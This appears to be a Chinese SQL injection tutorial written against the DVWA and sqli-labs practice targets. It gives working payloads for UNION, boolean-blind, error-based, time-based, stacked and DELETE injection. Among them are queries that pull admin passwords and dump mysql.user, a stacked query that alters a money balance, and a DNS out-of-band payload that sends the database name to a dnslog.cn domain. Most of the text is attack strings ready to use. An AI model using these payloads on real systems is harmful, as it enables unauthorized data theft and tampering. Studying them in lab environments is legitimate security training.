靶场环境:dvwa , 安全等级 low
判断存在SQL注入
提交'
报错
id=1
和 id =1 and 1=1
返回的结果一样,id=1
和 id =1 and 1=2
返回的结果不一样
构造正确的SQL语句
-- 数字型 id=1 or 1=1
select * from where id=1 or 1=1
--字符型 ' id=' or 2<>'1
select * from where id='' or 2<>'1'
--搜索型 ' or '21
select id from user where name like '%' or '21%'
--带括号 name') or 1 -- #
select id from user where name=('name') or 1
--截断型 id=1 or 1=1 --
select * from where id= 1 or 1=1 --limit 1
--还有像使用双引号的"
注入方式
union 查询
页面使用了select 查询,且返回数据
- 先推出当前select 的字段数量
-- 两个select 查询的字段数量需一致。使用order by 判断数量,order by 数字,指定用第n列排序
-- 例如 order by 10 出错,order by 5出错 order 2 返回正确数据
select id,name from user where id=1 union select null, database()
- 漏洞利用
-- 查所有数据库, group_concat 把值联接成一个
select id,name from user where id=1 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
-- 查表
select id,name from user where id=1 union select 1,table_name from information_schema.TABLES where TABLE_SCHEMA = database()
-- 查字段
select id,name from user where id=1 union select 1,column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users'
-- 查值
select id,name from user where id=1 union select 1, password from 'users' where first_name='admin'
示例,打开 dvwa-sql Injection
- 推断当前select 字段数量
输入 1' order by 2 #
提交没报错,证明当前select 字段数量是2
- union 查询
查数据库
1' union select null, database() #
查表
1' union select 1,table_name from information_schema.TABLES where TABLE_SCHEMA = database() #
查字段
1' union select 1,column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users' #
查值
1' union select 1, password from users where first_name='admin' #
布尔注入
有数据返回yes, 无数据返回no。只能根据构造带条件的sql判断。手工判断需要耗费大量时间,跑脚本吧。查询的参数需要正常有数据的才会触发and后面的 。靶场:dvwa > SQL Injection (Blind)
查库
- 先判断数据库长度,用二分法试探
1' and length(database()) >= 4 #
- 判断数据库字母组成。根据数据库命名规则,穷举判断,得出数据库名字。
1' and substr(database(),1,1) = 'd' #
查表
- 判断表名长度
1' and length((select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1)) >= 9 #
- 查表名
1 and substr((select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)='g' #
查列
- 查列名长度
1' and length((select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME ='users' limit 0,1)) >= 7 #
- 查列名字符
1' and substr((select column_name from information_schema.columns where TABLE_SCHEMA = database() and TABLE_NAME ='users' limit 0,1),1,1) = 'u' #
报错注入
利用报错信息显示查询的数据,需要引发报错。靶场 dvwa>sql Injection
- 查数据库
' and updatexml(1,concat(0x7e, (select database()),0x7e), 1) #
- 查表
' and updatexml(1,concat(0x7e, (select table_name from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),0x7e), 1) #
- 查列
' and updatexml(1,concat(0x7e, (select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'users' limit 0,1),0x7e), 1) #
- 查值
'and updatexml(1,concat(0x7e, (select user_id from users limit 0,1),0x7e), 1)#
时间注入
利用响应时间判断条件成立, 步骤和布尔注入类似
- 查库。如果数据库名字大于2,页面会2秒后才响应
1' and if (length(database())>=2,sleep(2),1) #
堆叠注入
如果可以运行多条语句,那么就可以使用;拼接多条语句
1'; update user set money=102 where id=1 #
## 漏洞利用
-- --
### 枚举数据库信息
```sql
-- MySQL 5.0 +
select SCHEMA_NAME from information_schema.SCHEMATA -- 所有数据库名称
select table_name from information_schema.TABLES where TABLE_SCHEMA = database() -- 当前数据库所有的表
-- 当前数据库下的test表的所有列
select column_name from information_schema.COLUMNS where TABLE_SCHEMA = database() and TABLE_NAME = 'user'
-- MySQL 常用函数
database() -- 当前数据库
user() -- 当前查询用户
version() -- 数据库版本
-- 示例
-- 查当前数据库名字,置顶取第一条
select id,name from user where id = 1 union select 0,database() order by 1 limit 1
DNS 注入
DNSLog Platform 从这里拿一个域名替换 r2bu6n.dnslog.cn
http://127.0.0.1/sqli-labs/Less-1/?id=1 and load_file(concat("\\\\",database(),".r2bu6n.dnslog.cn\\xxx.txt"))
delete 注入
查数据库,步骤和报错注入类似
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
窃取口令
select * from mysql.user